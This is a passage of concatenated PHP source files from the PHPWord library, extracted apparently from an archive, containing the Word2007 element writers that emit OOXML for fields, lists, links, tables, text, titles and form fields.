        $xmlWriter->writeAttribute('w:fldCharType', 'begin');
        $xmlWriter->endElement(); // w:fldChar
        $xmlWriter->endElement(); // w:r

        $instruction = ' ' . $element->getType() . ' ';

        foreach ($element->getProperties() as $property) {
            $instruction .= $property . ' ';
        }
        foreach ($element->getOptions() as $optionKey => $optionValue) {
            $instruction .= $this->convertRefOption($optionKey, $optionValue) . ' ';
        }

        $xmlWriter->startElement('w:r');
        $this->writeFontStyle();
        $xmlWriter->startElement('w:instrText');
        $xmlWriter->writeAttribute('xml:space', 'preserve');
        $xmlWriter->text($instruction);
        $xmlWriter->endElement(); // w:instrText
        $xmlWriter->endElement(); // w:r

        if ($element->getText() != null) {
            if ($element->getText() instanceof \PhpOffice\PhpWord\Element\TextRun) {
                $containerWriter = new Container($xmlWriter, $element->getText(), true);
                $containerWriter->write();

                $xmlWriter->startElement('w:r');
                $xmlWriter->startElement('w:instrText');
                $xmlWriter->text('"' . $this->buildPropertiesAndOptions($element));
                $xmlWriter->endElement(); // w:instrText
                $xmlWriter->endElement(); // w:r

                $xmlWriter->startElement('w:r');
                $xmlWriter->startElement('w:instrText');
                $xmlWriter->writeAttribute('xml:space', 'preserve');
                $xmlWriter->text(' ');
                $xmlWriter->endElement(); // w:instrText
                $xmlWriter->endElement(); // w:r
            }
        }

        $xmlWriter->startElement('w:r');
        $xmlWriter->startElement('w:fldChar');
        $xmlWriter->writeAttribute('w:fldCharType', 'separate');
        $xmlWriter->endElement(); // w:fldChar
        $xmlWriter->endElement(); // w:r

        $xmlWriter->startElement('w:r');
        $xmlWriter->startElement('w:rPr');
        $xmlWriter->startElement('w:noProof');
        $xmlWriter->endElement(); // w:noProof
        $xmlWriter->endElement(); // w:rPr
        $xmlWriter->writeElement('w:t', $element->getText() != null && is_string($element->getText()) ? $element->getText() : '1');
        $xmlWriter->endElement(); // w:r

        $xmlWriter->startElement('w:r');
        $xmlWriter->startElement('w:fldChar');
        $xmlWriter->writeAttribute('w:fldCharType', 'end');
        $xmlWriter->endElement(); // w:fldChar
        $xmlWriter->endElement(); // w:r

        $this->endElementP(); // w:p
    }

    private function convertRefOption(string $optionKey, string $optionValue): string
    {
        if ($optionKey === 'NumberSeperatorSequence') {
            return '\\d ' . $optionValue;
        }

        switch ($optionValue) {
            case 'IncrementAndInsertText':
                return '\\f';
            case 'CreateHyperLink':
                return '\\h';
            case 'NoTrailingPeriod':
                return '\\n';
            case 'IncludeAboveOrBelow':
                return '\\p';
            case 'InsertParagraphNumberRelativeContext':
                return '\\r';
            case 'SuppressNonDelimiterNonNumericalText':
                return '\\t';
            case 'InsertParagraphNumberFullContext':
                return '\\w';
            default:
                return '';
        }
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Element/ListItemRun.php000066600000004733151150442730022677 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Element;

use PhpOffice\PhpWord\Element\ListItemRun as ListItemRunElement;
use PhpOffice\PhpWord\Writer\Word2007\Style\Paragraph as ParagraphStyleWriter;

/**
 * ListItemRun element writer.
 *
 * @since 0.10.0
 */
class ListItemRun extends AbstractElement
{
    /**
     * Write list item element.
     */
    public function write(): void
    {
        $element = $this->getElement();

        if (!$element instanceof ListItemRunElement) {
            return;
        }

        $this->writeParagraph($element);
    }

    private function writeParagraph(ListItemRunElement $element): void
    {
        $xmlWriter = $this->getXmlWriter();
        $xmlWriter->startElement('w:p');

        $this->writeParagraphProperties($element);

        $containerWriter = new Container($xmlWriter, $element);
        $containerWriter->write();

        $xmlWriter->endElement(); // w:p
    }

    private function writeParagraphProperties(ListItemRunElement $element): void
    {
        $xmlWriter = $this->getXmlWriter();
        $xmlWriter->startElement('w:pPr');

        $styleWriter = new ParagraphStyleWriter($xmlWriter, $element->getParagraphStyle());
        $styleWriter->setIsInline(true);
        $styleWriter->setWithoutPPR(true);
        $styleWriter->write();

        $this->writeParagraphPropertiesNumbering($element);

        $xmlWriter->endElement(); // w:pPr
    }

    private function writeParagraphPropertiesNumbering(ListItemRunElement $element): void
    {
        $xmlWriter = $this->getXmlWriter();
        $xmlWriter->startElement('w:numPr');

        $xmlWriter->writeElementBlock('w:ilvl', [
            'w:val' => $element->getDepth(),
        ]);

        $xmlWriter->writeElementBlock('w:numId', [
            'w:val' => $element->getStyle()->getNumId(),
        ]);

        $xmlWriter->endElement(); // w:numPr
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Element/Footnote.php000066600000003405151150442730022250 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Element;

/**
 * Footnote element writer.
 *
 * @since 0.10.0
 */
class Footnote extends Text
{
    /**
     * Reference type footnoteReference|endnoteReference.
     *
     * @var string
     */
    protected $referenceType = 'footnoteReference';

    /**
     * Write element.
     */
    public function write(): void
    {
        $xmlWriter = $this->getXmlWriter();
        $element = $this->getElement();
        if (!$element instanceof \PhpOffice\PhpWord\Element\Footnote) {
            return;
        }

        $this->startElementP();

        $xmlWriter->startElement('w:r');
        $xmlWriter->startElement('w:rPr');
        $xmlWriter->startElement('w:rStyle');
        $xmlWriter->writeAttribute('w:val', ucfirst($this->referenceType));
        $xmlWriter->endElement(); // w:rStyle
        $xmlWriter->endElement(); // w:rPr
        $xmlWriter->startElement("w:{$this->referenceType}");
        $xmlWriter->writeAttribute('w:id', $element->getRelationId() + 1);
        $xmlWriter->endElement(); // w:$referenceType
        $xmlWriter->endElement(); // w:r

        $this->endElementP(); // w:p
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Element/Link.php000066600000003472151150442730021354 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Element;

/**
 * Link element writer.
 *
 * @since 0.10.0
 */
class Link extends Text
{
    /**
     * Write link element.
     */
    public function write(): void
    {
        $xmlWriter = $this->getXmlWriter();
        $element = $this->getElement();
        if (!$element instanceof \PhpOffice\PhpWord\Element\Link) {
            return;
        }

        $rId = $element->getRelationId() + ($element->isInSection() ? 6 : 0);

        $this->startElementP();

        $xmlWriter->startElement('w:hyperlink');
        if ($element->isInternal()) {
            $xmlWriter->writeAttribute('w:anchor', $element->getSource());
        } else {
            $xmlWriter->writeAttribute('r:id', 'rId' . $rId);
        }
        $xmlWriter->writeAttribute('w:history', '1');
        $xmlWriter->startElement('w:r');

        $this->writeFontStyle();

        $xmlWriter->startElement('w:t');
        $xmlWriter->writeAttribute('xml:space', 'preserve');
        $this->writeText($element->getText());
        $xmlWriter->endElement(); // w:t
        $xmlWriter->endElement(); // w:r
        $xmlWriter->endElement(); // w:hyperlink

        $this->endElementP(); // w:p
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Element/SDT.php000066600000010031151150442730021076 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Element;

use PhpOffice\PhpWord\Element\SDT as SDTElement;
use PhpOffice\PhpWord\Shared\XMLWriter;

/**
 * Structured document tag element writer.
 *
 * @since 0.12.0
 * @see  http://www.datypic.com/sc/ooxml/t-w_CT_SdtBlock.html
 *
 * @SuppressWarnings(PHPMD.UnusedPrivateMethod)
 */
class SDT extends Text
{
    /**
     * Write element.
     */
    public function write(): void
    {
        $xmlWriter = $this->getXmlWriter();
        $element = $this->getElement();
        if (!$element instanceof SDTElement) {
            return;
        }
        $type = $element->getType();
        $writeFormField = "write{$type}";
        $alias = $element->getAlias();
        $tag = $element->getTag();
        $value = $element->getValue();
        if ($value === null) {
            $value = 'Pick value';
        }

        $this->startElementP();

        $xmlWriter->startElement('w:sdt');

        // Properties
        $xmlWriter->startElement('w:sdtPr');
        $xmlWriter->writeElementIf($alias != null, 'w:alias', 'w:val', $alias);
        $xmlWriter->writeElementBlock('w:lock', 'w:val', 'sdtLocked');
        $xmlWriter->writeElementBlock('w:id', 'w:val', mt_rand(100000000, 999999999));
        $xmlWriter->writeElementIf($tag != null, 'w:tag', 'w:val', $tag);
        $this->$writeFormField($xmlWriter, $element);
        $xmlWriter->endElement(); // w:sdtPr

        // Content
        $xmlWriter->startElement('w:sdtContent');
        $xmlWriter->startElement('w:r');
        $xmlWriter->writeElement('w:t', $value);
        $xmlWriter->endElement(); // w:r
        $xmlWriter->endElement(); // w:sdtContent

        $xmlWriter->endElement(); // w:sdt

        $this->endElementP(); // w:p
    }

    /**
     * Write text.
     *
     * @see  http://www.datypic.com/sc/ooxml/t-w_CT_SdtText.html
     */
    private function writePlainText(XMLWriter $xmlWriter): void
    {
        $xmlWriter->startElement('w:text');
        $xmlWriter->endElement(); // w:text
    }

    /**
     * Write combo box.
     *
     * @see  http://www.datypic.com/sc/ooxml/t-w_CT_SdtComboBox.html
     */
    private function writeComboBox(XMLWriter $xmlWriter, SDTElement $element): void
    {
        $type = $element->getType();
        $listItems = $element->getListItems();

        $xmlWriter->startElement("w:{$type}");
        foreach ($listItems as $key => $val) {
            $xmlWriter->writeElementBlock('w:listItem', ['w:value' => $key, 'w:displayText' => $val]);
        }
        $xmlWriter->endElement(); // w:{$type}
    }

    /**
     * Write drop down list.
     *
     * @see  http://www.datypic.com/sc/ooxml/t-w_CT_SdtDropDownList.html
     */
    private function writeDropDownList(XMLWriter $xmlWriter, SDTElement $element): void
    {
        $this->writeComboBox($xmlWriter, $element);
    }

    /**
     * Write date.
     *
     * @see  http://www.datypic.com/sc/ooxml/t-w_CT_SdtDate.html
     */
    private function writeDate(XMLWriter $xmlWriter, SDTElement $element): void
    {
        $type = $element->getType();

        $xmlWriter->startElement("w:{$type}");
        $xmlWriter->writeElementBlock('w:dateFormat', 'w:val', 'd/M/yyyy');
        $xmlWriter->writeElementBlock('w:lid', 'w:val', 'en-US');
        $xmlWriter->writeElementBlock('w:storeMappedDataAs', 'w:val', 'dateTime');
        $xmlWriter->writeElementBlock('w:calendar', 'w:val', 'gregorian');
        $xmlWriter->endElement(); // w:date
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Element/Table.php000066600000010205151150442730021476 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Element;

use PhpOffice\PhpWord\Element\Cell as CellElement;
use PhpOffice\PhpWord\Element\Row as RowElement;
use PhpOffice\PhpWord\Element\Table as TableElement;
use PhpOffice\PhpWord\Shared\XMLWriter;
use PhpOffice\PhpWord\Style\Cell as CellStyle;
use PhpOffice\PhpWord\Style\Row as RowStyle;
use PhpOffice\PhpWord\Writer\Word2007\Style\Cell as CellStyleWriter;
use PhpOffice\PhpWord\Writer\Word2007\Style\Row as RowStyleWriter;
use PhpOffice\PhpWord\Writer\Word2007\Style\Table as TableStyleWriter;

/**
 * Table element writer.
 *
 * @since 0.10.0
 */
class Table extends AbstractElement
{
    /**
     * Write element.
     */
    public function write(): void
    {
        $xmlWriter = $this->getXmlWriter();
        $element = $this->getElement();
        if (!$element instanceof TableElement) {
            return;
        }

        $rows = $element->getRows();
        $rowCount = count($rows);

        if ($rowCount > 0) {
            $xmlWriter->startElement('w:tbl');

            // Write columns
            $this->writeColumns($xmlWriter, $element);

            // Write style
            $styleWriter = new TableStyleWriter($xmlWriter, $element->getStyle());
            $styleWriter->setWidth($element->getWidth());
            $styleWriter->write();

            // Write rows
            for ($i = 0; $i < $rowCount; ++$i) {
                $this->writeRow($xmlWriter, $rows[$i]);
            }

            $xmlWriter->endElement(); // w:tbl
        }
    }

    /**
     * Write column.
     */
    private function writeColumns(XMLWriter $xmlWriter, TableElement $element): void
    {
        $cellWidths = $element->findFirstDefinedCellWidths();

        $xmlWriter->startElement('w:tblGrid');
        foreach ($cellWidths as $width) {
            $xmlWriter->startElement('w:gridCol');
            if ($width !== null) {
                $xmlWriter->writeAttribute('w:w', $width);
                $xmlWriter->writeAttribute('w:type', 'dxa');
            }
            $xmlWriter->endElement();
        }
        $xmlWriter->endElement(); // w:tblGrid
    }

    /**
     * Write row.
     */
    private function writeRow(XMLWriter $xmlWriter, RowElement $row): void
    {
        $xmlWriter->startElement('w:tr');

        // Write style
        $rowStyle = $row->getStyle();
        if ($rowStyle instanceof RowStyle) {
            $styleWriter = new RowStyleWriter($xmlWriter, $rowStyle);
            $styleWriter->setHeight($row->getHeight());
            $styleWriter->write();
        }

        // Write cells
        $cells = $row->getCells();
        if (count($cells) === 0) {
            // issue 2505 - Word treats doc as corrupt if row without cell
            $this->writeCell($xmlWriter, new CellElement());
        } else {
            foreach ($cells as $cell) {
                $this->writeCell($xmlWriter, $cell);
            }
        }

        $xmlWriter->endElement(); // w:tr
    }

    /**
     * Write cell.
     */
    private function writeCell(XMLWriter $xmlWriter, CellElement $cell): void
    {
        $xmlWriter->startElement('w:tc');

        // Write style
        $cellStyle = $cell->getStyle();
        if ($cellStyle instanceof CellStyle) {
            $styleWriter = new CellStyleWriter($xmlWriter, $cellStyle);
            $styleWriter->setWidth($cell->getWidth());
            $styleWriter->write();
        }

        // Write content
        $containerWriter = new Container($xmlWriter, $cell);
        $containerWriter->write();

        $xmlWriter->endElement(); // w:tc
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Element/Text.php000066600000005655151150442730021410 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Element;

use PhpOffice\PhpWord\Element\TrackChange;

/**
 * Text element writer.
 *
 * @since 0.10.0
 */
class Text extends AbstractElement
{
    /**
     * Write text element.
     */
    public function write(): void
    {
        $xmlWriter = $this->getXmlWriter();
        $element = $this->getElement();
        if (!$element instanceof \PhpOffice\PhpWord\Element\Text) {
            return;
        }

        $this->startElementP();

        $this->writeOpeningTrackChange();

        $xmlWriter->startElement('w:r');

        $this->writeFontStyle();

        $textElement = 'w:t';
        //'w:delText' in case of deleted text
        $changed = $element->getTrackChange();
        if ($changed != null && $changed->getChangeType() == TrackChange::DELETED) {
            $textElement = 'w:delText';
        }
        $xmlWriter->startElement($textElement);

        $xmlWriter->writeAttribute('xml:space', 'preserve');
        $this->writeText($this->getText($element->getText()));
        $xmlWriter->endElement();
        $xmlWriter->endElement(); // w:r

        $this->writeClosingTrackChange();

        $this->endElementP(); // w:p
    }

    /**
     * Write opening of changed element.
     */
    protected function writeOpeningTrackChange(): void
    {
        $changed = $this->getElement()->getTrackChange();
        if ($changed == null) {
            return;
        }

        $xmlWriter = $this->getXmlWriter();

        if (($changed->getChangeType() == TrackChange::INSERTED)) {
            $xmlWriter->startElement('w:ins');
        } elseif ($changed->getChangeType() == TrackChange::DELETED) {
            $xmlWriter->startElement('w:del');
        }
        $xmlWriter->writeAttribute('w:author', $changed->getAuthor());
        if ($changed->getDate() != null) {
            $xmlWriter->writeAttribute('w:date', $changed->getDate()->format('Y-m-d\TH:i:s\Z'));
        }
        $xmlWriter->writeAttribute('w:id', $this->getElement()->getElementId());
    }

    /**
     * Write ending.
     */
    protected function writeClosingTrackChange(): void
    {
        $changed = $this->getElement()->getTrackChange();
        if ($changed == null) {
            return;
        }

        $xmlWriter = $this->getXmlWriter();

        $xmlWriter->endElement(); // w:ins|w:del
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Element/Container.php000066600000006351151150442730022400 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Element;

use PhpOffice\PhpWord\Element\AbstractContainer as ContainerElement;
use PhpOffice\PhpWord\Element\AbstractElement as Element;
use PhpOffice\PhpWord\Element\TextBreak as TextBreakElement;
use PhpOffice\PhpWord\Shared\XMLWriter;

/**
 * Container element writer (section, textrun, header, footnote, cell, etc.).
 *
 * @since 0.11.0
 */
class Container extends AbstractElement
{
    /**
     * Namespace; Can't use __NAMESPACE__ in inherited class (ODText).
     *
     * @var string
     */
    protected $namespace = 'PhpOffice\\PhpWord\\Writer\\Word2007\\Element';

    /**
     * Write element.
     */
    public function write(): void
    {
        $container = $this->getElement();
        if (!$container instanceof ContainerElement) {
            return;
        }
        $containerClass = substr(get_class($container), strrpos(get_class($container), '\\') + 1);
        $withoutP = in_array($containerClass, ['TextRun', 'Footnote', 'Endnote', 'ListItemRun']);
        $xmlWriter = $this->getXmlWriter();

        // Loop through elements
        $elements = $container->getElements();
        $elementClass = '';
        foreach ($elements as $element) {
            $elementClass = $this->writeElement($xmlWriter, $element, $withoutP);
        }

        // Special case for Cell: They have to contain a w:p element at the end.
        // The $elementClass contains the last element name. If it's empty string
        // or Table, the last element is not w:p
        $writeLastTextBreak = ($containerClass == 'Cell') && ($elementClass == '' || $elementClass == 'Table');
        if ($writeLastTextBreak) {
            $writerClass = $this->namespace . '\\TextBreak';
            /** @var \PhpOffice\PhpWord\Writer\Word2007\Element\AbstractElement $writer Type hint */
            $writer = new $writerClass($xmlWriter, new TextBreakElement(), $withoutP);
            $writer->write();
        }
    }

    /**
     * Write individual element.
     *
     * @param bool $withoutP
     *
     * @return string
     */
    private function writeElement(XMLWriter $xmlWriter, Element $element, $withoutP)
    {
        $elementClass = substr(get_class($element), strrpos(get_class($element), '\\') + 1);
        $writerClass = $this->namespace . '\\' . $elementClass;

        if (class_exists($writerClass)) {
            /** @var \PhpOffice\PhpWord\Writer\Word2007\Element\AbstractElement $writer Type hint */
            $writer = new $writerClass($xmlWriter, $element, $withoutP);
            $writer->setPart($this->getPart());
            $writer->write();
        }

        return $elementClass;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Element/Title.php000066600000005173151150442730021540 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Element;

/**
 * TextRun element writer.
 *
 * @since 0.10.0
 */
class Title extends AbstractElement
{
    /**
     * Write title element.
     */
    public function write(): void
    {
        $xmlWriter = $this->getXmlWriter();
        $element = $this->getElement();
        if (!$element instanceof \PhpOffice\PhpWord\Element\Title) {
            return;
        }

        $style = $element->getStyle();

        $xmlWriter->startElement('w:p');

        if (!empty($style)) {
            $xmlWriter->startElement('w:pPr');
            $xmlWriter->startElement('w:pStyle');
            $xmlWriter->writeAttribute('w:val', $style);
            $xmlWriter->endElement();
            $xmlWriter->endElement();
        }

        $bookmarkRId = null;
        if ($element->getDepth() !== 0) {
            $rId = $element->getRelationId();
            $bookmarkRId = $element->getPhpWord()->addBookmark();

            // Bookmark start for TOC
            $xmlWriter->startElement('w:bookmarkStart');
            $xmlWriter->writeAttribute('w:id', $bookmarkRId);
            $xmlWriter->writeAttribute('w:name', "_Toc{$rId}");
            $xmlWriter->endElement(); //w:bookmarkStart
        }

        // Actual text
        $text = $element->getText();
        if (is_string($text)) {
            $xmlWriter->startElement('w:r');
            $xmlWriter->startElement('w:t');
            $this->writeText($text);
            $xmlWriter->endElement(); // w:t
            $xmlWriter->endElement(); // w:r
        }
        if ($text instanceof \PhpOffice\PhpWord\Element\AbstractContainer) {
            $containerWriter = new Container($xmlWriter, $text);
            $containerWriter->write();
        }

        if ($element->getDepth() !== 0) {
            // Bookmark end
            $xmlWriter->startElement('w:bookmarkEnd');
            $xmlWriter->writeAttribute('w:id', $bookmarkRId);
            $xmlWriter->endElement(); //w:bookmarkEnd
        }
        $xmlWriter->endElement(); //w:p
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Element/PageBreak.php000066600000002445151150442730022277 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Element;

/**
 * PageBreak element writer.
 *
 * @since 0.10.0
 */
class PageBreak extends AbstractElement
{
    /**
     * Write element.
     *
     * @usedby \PhpOffice\PhpWord\Writer\Word2007\Element\AbstractElement::startElementP()
     */
    public function write(): void
    {
        $xmlWriter = $this->getXmlWriter();

        $xmlWriter->startElement('w:p');
        $xmlWriter->startElement('w:r');
        $xmlWriter->startElement('w:br');
        $xmlWriter->writeAttribute('w:type', 'page');
        $xmlWriter->endElement(); // w:br
        $xmlWriter->endElement(); // w:r
        $xmlWriter->endElement(); // w:p
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Element/PreserveText.php000066600000005526151150442730023121 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Element;

/**
 * PreserveText element writer.
 *
 * @since 0.10.0
 */
class PreserveText extends Text
{
    /**
     * Write preserve text element.
     */
    public function write(): void
    {
        $xmlWriter = $this->getXmlWriter();
        $element = $this->getElement();
        if (!$element instanceof \PhpOffice\PhpWord\Element\PreserveText) {
            return;
        }

        $texts = $element->getText();
        if (!is_array($texts)) {
            $texts = [$texts];
        }

        $this->startElementP();

        foreach ($texts as $text) {
            if (substr($text, 0, 1) == '{') {
                $text = substr($text, 1, -1);

                $xmlWriter->startElement('w:r');
                $xmlWriter->startElement('w:fldChar');
                $xmlWriter->writeAttribute('w:fldCharType', 'begin');
                $xmlWriter->endElement();
                $xmlWriter->endElement();

                $xmlWriter->startElement('w:r');

                $this->writeFontStyle();

                $xmlWriter->startElement('w:instrText');
                $xmlWriter->writeAttribute('xml:space', 'preserve');
                $this->writeText($text);
                $xmlWriter->endElement();
                $xmlWriter->endElement();

                $xmlWriter->startElement('w:r');
                $xmlWriter->startElement('w:fldChar');
                $xmlWriter->writeAttribute('w:fldCharType', 'separate');
                $xmlWriter->endElement();
                $xmlWriter->endElement();

                $xmlWriter->startElement('w:r');
                $xmlWriter->startElement('w:fldChar');
                $xmlWriter->writeAttribute('w:fldCharType', 'end');
                $xmlWriter->endElement();
                $xmlWriter->endElement();
            } else {
                $xmlWriter->startElement('w:r');

                $this->writeFontStyle();

                $xmlWriter->startElement('w:t');
                $xmlWriter->writeAttribute('xml:space', 'preserve');
                $this->writeText($this->getText($text));
                $xmlWriter->endElement();
                $xmlWriter->endElement();
            }
        }

        $this->endElementP(); // w:p
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Element/TextBreak.php000066600000002704151150442730022345 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Element;

/**
 * TextBreak element writer.
 *
 * @since 0.10.0
 */
class TextBreak extends Text
{
    /**
     * Write text break element.
     */
    public function write(): void
    {
        $xmlWriter = $this->getXmlWriter();
        $element = $this->getElement();
        if (!$element instanceof \PhpOffice\PhpWord\Element\TextBreak) {
            return;
        }

        if (!$this->withoutP) {
            $hasStyle = $element->hasStyle();
            $this->startElementP();

            if ($hasStyle) {
                $xmlWriter->startElement('w:pPr');
                $this->writeFontStyle();
                $xmlWriter->endElement(); // w:pPr
            }

            $this->endElementP(); // w:p
        } else {
            $xmlWriter->writeElement('w:br');
        }
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Element/FormField.php000066600000012675151150442730022333 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Element;

use PhpOffice\PhpWord\Element\FormField as FormFieldElement;
use PhpOffice\PhpWord\Shared\XMLWriter;

/**
 * FormField element writer.
 *
 * Note: DropDown is active when document protection is set to `forms`
 *
 * @since 0.12.0
 * @see  http://www.datypic.com/sc/ooxml/t-w_CT_FFData.html
 *
 * @SuppressWarnings(PHPMD.UnusedPrivateMethod)
 */
class FormField extends Text
{
    /** @const int Length of filler when value is null */
    const FILLER_LENGTH = 30;

    /**
     * Write element.
     */
    public function write(): void
    {
        $xmlWriter = $this->getXmlWriter();
        $element = $this->getElement();
        if (!$element instanceof FormFieldElement) {
            return;
        }

        $type = $element->getType();
        $instructions = ['textinput' => 'FORMTEXT', 'checkbox' => 'FORMCHECKBOX', 'dropdown' => 'FORMDROPDOWN'];
        $instruction = $instructions[$type];
        $writeFormField = "write{$type}";
        $name = $element->getName();
        if ($name === null) {
            $name = $type . $element->getElementId();
        }
        $value = $element->getValue();
        if ($value === null) {
            $value = str_repeat(' ', self::FILLER_LENGTH);
        }

        $this->startElementP();

        $xmlWriter->startElement('w:r');
        $xmlWriter->startElement('w:fldChar');
        $xmlWriter->writeAttribute('w:fldCharType', 'begin');
        $xmlWriter->startElement('w:ffData');
        $xmlWriter->writeElementBlock('w:enabled', 'w:val', 1);
        $xmlWriter->writeElementBlock('w:name', 'w:val', $name);
        $xmlWriter->writeElementBlock('w:calcOnExit', 'w:val', 0);
        $this->$writeFormField($xmlWriter, $element);
        $xmlWriter->endElement(); // w:ffData
        $xmlWriter->endElement(); // w:fldChar
        $xmlWriter->endElement(); // w:r

        $xmlWriter->startElement('w:r');
        $this->writeFontStyle();
        $xmlWriter->startElement('w:instrText');
